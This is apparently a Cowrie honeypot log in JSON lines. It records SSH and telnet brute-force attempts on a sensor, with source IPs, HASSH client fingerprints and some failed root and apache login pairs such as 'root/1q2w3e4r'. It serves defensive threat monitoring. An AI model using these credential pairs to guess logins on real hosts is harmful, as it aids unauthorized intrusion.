{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:18.595074Z","src_ip":"62.133.62.83","session":"9a99315f0021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:18.850418Z","src_ip":"62.133.62.83","session":"9a99315f0021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:19.935293Z","src_ip":"62.133.62.83","session":"9a99315f0021","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.49","src_port":50132,"dst_ip":"10.17.0.5","dst_port":22,"session":"395533cb58ec","protocol":"ssh","message":"New connection: 92.118.39.49:50132 (10.17.0.5:22) [session: 395533cb58ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:20.324077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:20.328244Z","src_ip":"92.118.39.49","session":"395533cb58ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:20.432247Z","src_ip":"92.118.39.49","session":"395533cb58ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:20.746411Z","src_ip":"92.118.39.49","session":"395533cb58ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:21.858764Z","src_ip":"92.118.39.49","session":"395533cb58ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":51654,"dst_ip":"10.17.0.5","dst_port":22,"session":"89008950d872","protocol":"ssh","message":"New connection: 91.92.40.176:51654 (10.17.0.5:22) [session: 89008950d872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:28.567277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:28.575110Z","src_ip":"91.92.40.176","session":"89008950d872","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:28.656346Z","src_ip":"91.92.40.176","session":"89008950d872","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"password","message":"login attempt [apache/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:28.906964Z","src_ip":"91.92.40.176","session":"89008950d872","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:29.991113Z","src_ip":"91.92.40.176","session":"89008950d872","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":45488,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c45f3e85989","protocol":"telnet","message":"New connection: 137.184.5.188:45488 (159.203.135.109:23) [session: 0c45f3e85989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:49.603573Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":16782,"dst_ip":"159.203.135.109","dst_port":22,"session":"a430336f420a","protocol":"ssh","message":"New connection: 178.128.39.166:16782 (159.203.135.109:22) [session: a430336f420a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:54.675658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:54.781283Z","src_ip":"178.128.39.166","session":"a430336f420a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:54.785745Z","src_ip":"178.128.39.166","session":"a430336f420a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"VpsPutr4Official","message":"login attempt [root/VpsPutr4Official] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:55.802065Z","src_ip":"178.128.39.166","session":"a430336f420a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:31:57.062156Z","src_ip":"178.128.39.166","session":"a430336f420a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.205.134.214","src_port":37450,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b297a13d2e6","protocol":"ssh","message":"New connection: 154.205.134.214:37450 (159.203.135.109:22) [session: 9b297a13d2e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:32:00.404094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:32:00.408928Z","src_ip":"154.205.134.214","session":"9b297a13d2e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:32:00.571410Z","src_ip":"154.205.134.214","session":"9b297a13d2e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456","message":"login attempt [root/A123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:32:01.254422Z","src_ip":"154.205.134.214","session":"9b297a13d2e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:32:02.423681Z","src_ip":"154.205.134.214","session":"9b297a13d2e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":50448,"dst_ip":"10.17.0.5","dst_port":22,"session":"da41f6488c7c","protocol":"ssh","message":"New connection: 38.93.206.2:50448 (10.17.0.5:22) [session: da41f6488c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:32:24.923459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:32:24.927528Z","src_ip":"38.93.206.2","session":"da41f6488c7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:32:24.979135Z","src_ip":"38.93.206.2","session":"da41f6488c7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"canadian","message":"login attempt [root/canadian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:32:25.133267Z","src_ip":"38.93.206.2","session":"da41f6488c7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:32:26.186384Z","src_ip":"38.93.206.2","session":"da41f6488c7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.574145555496216,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:32:48.177504Z","src_ip":"137.184.5.188","session":"0c45f3e85989","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":50590,"dst_ip":"159.203.135.109","dst_port":22,"session":"d441a148dacd","protocol":"ssh","message":"New connection: 194.113.233.25:50590 (159.203.135.109:22) [session: d441a148dacd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:33:03.168458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:33:03.172615Z","src_ip":"194.113.233.25","session":"d441a148dacd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:33:03.262704Z","src_ip":"194.113.233.25","session":"d441a148dacd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"210695","message":"login attempt [root/210695] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:33:03.542104Z","src_ip":"194.113.233.25","session":"d441a148dacd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:33:04.634068Z","src_ip":"194.113.233.25","session":"d441a148dacd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":58578,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffbed924e1fc","protocol":"telnet","message":"New connection: 137.184.5.188:58578 (159.203.135.109:23) [session: ffbed924e1fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:33:30.097207Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":57888,"dst_ip":"159.203.135.109","dst_port":22,"session":"08442732589e","protocol":"ssh","message":"New connection: 172.190.89.127:57888 (159.203.135.109:22) [session: 08442732589e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:33:39.058891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:33:39.063170Z","src_ip":"172.190.89.127","session":"08442732589e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:33:39.077934Z","src_ip":"172.190.89.127","session":"08442732589e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q1w2e3r4t5!","message":"login attempt [root/Q1w2e3r4t5!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:33:39.162179Z","src_ip":"172.190.89.127","session":"08442732589e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:33:40.178020Z","src_ip":"172.190.89.127","session":"08442732589e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.19977807998657,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:34:26.296846Z","src_ip":"137.184.5.188","session":"ffbed924e1fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":53798,"dst_ip":"159.203.135.109","dst_port":23,"session":"fac84763f71a","protocol":"telnet","message":"New connection: 107.6.151.170:53798 (159.203.135.109:23) [session: fac84763f71a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:34:58.571759Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":60042,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd43f658af50","protocol":"ssh","message":"New connection: 91.92.40.176:60042 (10.17.0.5:22) [session: bd43f658af50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:35:14.302001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:35:14.305135Z","src_ip":"91.92.40.176","session":"bd43f658af50","protocol":"ssh"}
